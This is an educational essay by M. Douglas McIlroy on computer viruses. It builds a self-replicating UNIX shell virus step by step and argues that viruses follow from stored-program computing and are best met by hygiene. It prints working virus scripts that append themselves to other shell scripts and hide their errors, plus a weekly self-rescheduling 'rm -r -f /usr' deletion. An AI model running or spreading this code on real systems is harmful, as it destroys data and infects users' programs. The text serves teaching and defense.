Virology 101

M. Douglas McIlroy

ABSTRACT

There is nothing mysterious about computer viruses. A working, but easily observable, virus can be written in a few lines of code. Although particular virus attacks may be guarded against, no general defense within one domain of reference is possible; viruses are a natural consequence of stored-program computation. Like other hazards of technology, their threat may be mitigated by cautious behavior and community sanctions.

The principle

I intend to demonstrate a simple, yet realistic, computer virus for people who may be curious but who have not been motivated to dabble in this shady field. Nothing here will edify folks bent on mischief. The example is made for clarity; it makes no malign effort to hide in obscure recesses of a computer system. It has been expressed in a highly accessible language—the shell language of UNIX® systems. Thus it may be understood without resort to "microscope and tweezers."[1] For good cause, it has not been tested.

Ostensibly as a public service, but probably more to establish priestly mystery, writers about viruses usually omit the details. One claimed, "Most computer programmers, aside from virus researchers, have ... difficulty in writing the code to make a virus replicate itself and secure itself to another disk."[2] Despite the claim, programs that reproduce themselves are not hard to make.[3] Indeed, like M. Jourdain, who was astonished to learn he'd been speaking prose all his life,[4] programmers make or use them unconsciously in everyday work.

Not only can almost anybody make a self-reproducing program,[5] almost everybody already has one: just turn a file-copy program on itself.

As soon as you can program a computer to do anything repeatedly—and that is the real reason for having a computer at all—you can make it do something bad repeatedly. The file removal command can cause an earthquake in UNIX systems. The one-liner,

```
rm -r -f /usr
```

says, "Recursively and without bothering me with diagnostics remove all the files you can from users' directories." One more line of code will cause an unending swarm of earthquakes. Place in the file `earthquake` (in a write-protected directory),

```
rm -r -f /usr
at 0200 sunday earthquake
```

Submit it for execution at 2AM next Sunday:

```
at 0200 sunday earthquake
```

After the earthquake happens, another will be scheduled for the following week, and so on. The program will reproduce itself even across computer outages.

Both `rm` and `at` are eminently useful programs. The fact that they might be used for nefarious purposes does not deter us from providing them to computer users any more than does the incendiary nature of gasoline keep us from selling it to motorists.

All the cleverness of the earthquake program lies in the second line; the first line is mere malice. Thus a single line of code is all it takes to make a self-perpetuating program. Perhaps, though, the earthquake is unfair: the `at` utility upon which it depends seems to have been specially tailored for the purpose. A thoroughly realistic example should be made of more ordinary materials.

Here's an ancestral model. Too clumsy to get very far undetected, it nevertheless contains the same nugget used by all its more sophisticated descendants, which differ only in degrees of caution and aggressiveness. The virus is a shell script, which lives in file `/tryme`. Its entire text is

```
cp /tryme $1
```

Suppose a gullible snooper tries to find out what `/tryme` does, giving it a random argument for good measure:

```
/tryme sure
```

Lo and behold, a new file `sure` appears, containing another copy of the same shell script,

```
cp /tryme $1
```

The program has reproduced itself, and it will reproduce itself again as soon as somebody executes `sure`.

This tiny critter has its drawbacks. If the argument names an existing writable file, that file will be wiped out and replaced by the virus—a brutal attack that will not go unnoticed for long. If the argument names a new file, its unexpected creation could be a tip-off. If our curious gull simply types `/tryme` the virus will reveal itself instantly through a diagnostic:

```
Usage: cp f1 f2; or cp f1 ... fn d2
```

Finally, no matter how badly the system is infected, the epidemic can be stopped simply by removing `/tryme`. The virus is both too lethal to its prey and too delicate itself to propagate far, if at all. Still, it embodies the basic plot: make a file that will copy itself somewhere else. All we need to add is a little finesse.

A realistic specimen

It might be argued that `earthquake` and `tryme` are not viruses at all because they are programs in their own right, while a virus should live inside another program. The distinction is largely in the mind of the beholder. Step back a little and you will see a computer system as one large program working in one large memory—the entire file system. Most systems contain copy programs or backup dump programs that can copy themselves or even the whole system to a tape, another disc, or another computer. From this standpoint we can identify as viruses some important components of perfectly healthy systems. Nevertheless, I shall proceed to elaborate the program into one that will be recognized as a virus by any definition.

We can take the copy from the current program rather than from a fixed place. Now the virus will carry its own genetic recipe; the contagion will persist until the last copy is eliminated.

```
#!/bin/sh
cp $0 $1
```

The cryptic first line identifies the program as a shell script. Suppose the script lives in file `/bin/traductor`, and is normally invoked by typing `traductor`. Parameter `$0` becomes the real name of the program, `/bin/traductor`.* Thus the command `traductor firsttarget` finally executes

* This is why the script begins with `#!/bin/sh`. Without that indicator, parameter `$0` would merely be the name under which the script was invoked, namely `traductor`, which may be insufficient to locate the file for copying.

```
cp /bin/traductor firsttarget
```

Now `firsttarget` contains the virus, too. When it is invoked, say in the form `firsttarget secondtarget`, it will be executed as

```
cp firsttarget secondtarget
```

The virus will replicate regardless of what has become of the original in `/bin/traductor`.

We can test the target to ensure that the only files to be hit are executable it was unnecessarily rough to infect anything else. New code is shown in **bold** type.

```
#!/bin/sh
if   test -x "$1"
then cp $0 $1
fi
```

We can look around the current directory for prey, not depending on the gull to supply it. In so doing we also cause the infection to spread to several victims at a time.

```
#!/bin/sh
for i in *
do   if   test -x "$i"
     then cp $0 $i
     fi
done
```

WARNING: THE BUG IS GETTING NASTIER. STUDY IT, BUT DON'T TRY IT. You may lose friends. And you may never recover. Suppose a copy makes its way onto a backup disc.

Yet more selectively, we can choose to infect only files that identify themselves as shell scripts with a telltale `#!/bin/sh` in the first line.

```
#!/bin/sh
for i in *
do   case "`sed 1q $i`" in
     "#!/bin/sh")   cp $0 $i
     esac
done
```

The stream editor, `sed`, delivers one line from the target file and quits the technical baggage of quotes may be ignored.

The virus still wantonly overwrites each file it attacks. The attack may be sharpened by appending to scripts rather than replacing them. Now infected programs will do what they were originally supposed to do plus a bit more. The virus becomes a stowaway rather than a crude imposter.

```
for i in * #virus#
do   case "`sed 1q $i`" in
     "#!/bin/sh")   sed -n '/#virus#/,$p' $0 >>$i
     esac
done
```

The work is all done in the second `sed` command, which says scan without printing the file itself print from the line marked with the comment `#virus#` through to the end and append the result to the target The initial `#!/bin/sh` has disappeared. It is no longer part of the virus proper, as it is not copied when the virus reproduces.

To keep infected files from growing exponentially, it's a good idea to prevent reinfection of already infected code.

```
for i in * #virus#
do   case "`sed 1q $i`" in
     "#!/bin/sh")
          grep '#virus#' $i >/dev/null ||
          sed -n '/#virus#/,$p' $0 >>$i
     esac
done
```

The guarding `grep` command searches for any `#virus#` line in the target. The output is redirected to a rathole When `grep` fails to find anything, a new victim has been located and the `sed` command is activated conditionally

Finally, we can discard any diagnostics that appear on the standard error stream so the virus will be silent when things go wrong.

```
for i in * #virus#
do   case "`sed 1q $i`" in
     "#!/bin/sh")
          grep '#virus#' $i >/dev/null ||
          sed -n '/#virus#/,$p' $0 >>$i
     esac
done 2>/dev/null
```

As variations on the theme, we might try to fork the virus into the background in order to conceal the time it takes, or try to overwhelm defenses by forking aggressively inside the loop.

Lessons

Shell viruses are remarkably simple. If we give `tryme` a one-letter name, it fits in eight bytes. The fanciest version, small enough to merit the name *Traductor simplicimus*, easily fits in 150 bytes.

Simplicimus needs a vector, namely a computer user, and only makes limited forays of its own A vector, however, can carry it to another machine that has the same operating system and shell. Agriculturalists know the phenomenon: epidemics spread readily in monocultures. Standardization has its risks.

A vector isn't necessary. Anything that one can tell a machine to do manually can be automated. It is no great leap from *simplicimus's* simple search around one directory to a search further afield—other directories, other disks, or other machines. And, as in the earthquake example, it is an equally small step to a real *Traductor pugnax* that activates new copies of itself without human intervention.

The present exercise, which was distilled from programs by Tom Duff, adds force to the title of a technical report by Jim Reeds, */bin/sh: The biggest UNIX security loophole,* but with a mordant twist.[6, 7] The possibility of shell viruses arises not from special properties of the UNIX system or its shell command language, but from the mere fact that the shell and the file system behave as processor and memory of a stored program computer. Viruses are a corollary of universality.

To put it another way, if you have a programmable computer with a file system inhabited by both programs and data, you can make viruses. It doesn't matter what hardware or operating system you are using. Nobody can stop you.

It is often possible, however, to prevent a virus created at one level of programming from infecting another level. If you have no way to modify the firmware of your machine from the programming level, the firmware is safe—at least from programmers. Similarly, if the only programs you can write are for an interpreter that lives in files inaccessible from any interpreted program, then you can't infect the interpreter. Likewise, user programs can't infect system code that boots from a read-only device and has its own address space. For example, the operating system kernel is immune to *Traductor,* which attacks the wrong language in the wrong address space to cause any harm to the kernel. By contrast, the extreme malignity of some PC viruses owes in no small part to the complete absence of level distinctions in the architecture; no part of the system is safe from any machine-language program.

Bryan Kocher wisely observed that epidemics are best averted by paying assiduous attention to public health.[8] A sensationalist press—even the respected scientific press— often oversells ‘‘vaccines’’ and other countermeasures as panaceas.[9] Some of these products guard against particular attacks, usually by noticing when particular programs, especially operating system bootstraps, change. Some watch for subtler changes. But as long as a system is not absolutely static and any programs can change, it will be open to attack.[3] No fixed set of hygienic measures can provide lasting immunity. Continuing attention is crucial.

Hygiene pays off. AT&T resisted the great Internet virus of November 2, 1988,[1] by ‘‘good housekeeping and good luck,’’ in the words of Fred Grampp. Good housekeeping, because the keepers of the corporate network gateway, especially Dave Presotto, refused to run the tortuous software that the virus exploited. Good luck, because some AT&T computers did run that software, but, thanks to the gateway, were not exposed directly to the Internet.

Computer viruses are aptly named. They are a consequence of programming as disease is a consequence of living. Higher forms of programming, like higher forms of life, are subject to more forms of disease. So it is with shells. In a rich environment of software tools, a shell becomes a programming language of remarkable power. Ultimately the ends to which that power may be turned will be determined by community norms and sanctions.

References

References

1. M. Eichen and J. Rochlis, *With microscope and tweezers: an analysis of the Internet virus of November 1988,* Massachusetts Institute of Technology (1988).
2. H. J. Highland, “Random bits and bytes,” *Computers and Security,* 7, pp. 337-346 (1988).
3. K. Thompson, “Reflections on trusting trust,” *Comm. of the ACM,* 27, pp. 761-764 (1984).
4. Molière, *Le Bourgeois Gentilhomme,* p. Act II, Scene 4, Paris (1670).
5. A. K. Dewdney, “Computer recreations,” *Scientific American,* 250, 5, pp. 15-19 (May, 1984).
6. T. D. S. Duff, “Viral attacks on UNIX system security,” *Proceedings of the Winter 1989 Usenix conference,* Usenix Association, Berkeley (January, 1989).
7. J. A. Reeds, “/bin/sh: The biggest UNIX™ security loophole,” 11217-840302-04TM, AT&T Bell Laboratories, Murray Hill, NJ (1984).
8. B. Kocher, “A hygiene lesson,” *CACM,* 32, p. 3,6 (1989).
9. Seth Shulman, “‘Virus-proof’ computer security system,” *Nature,* 337, p. 4 (5 January, 1989).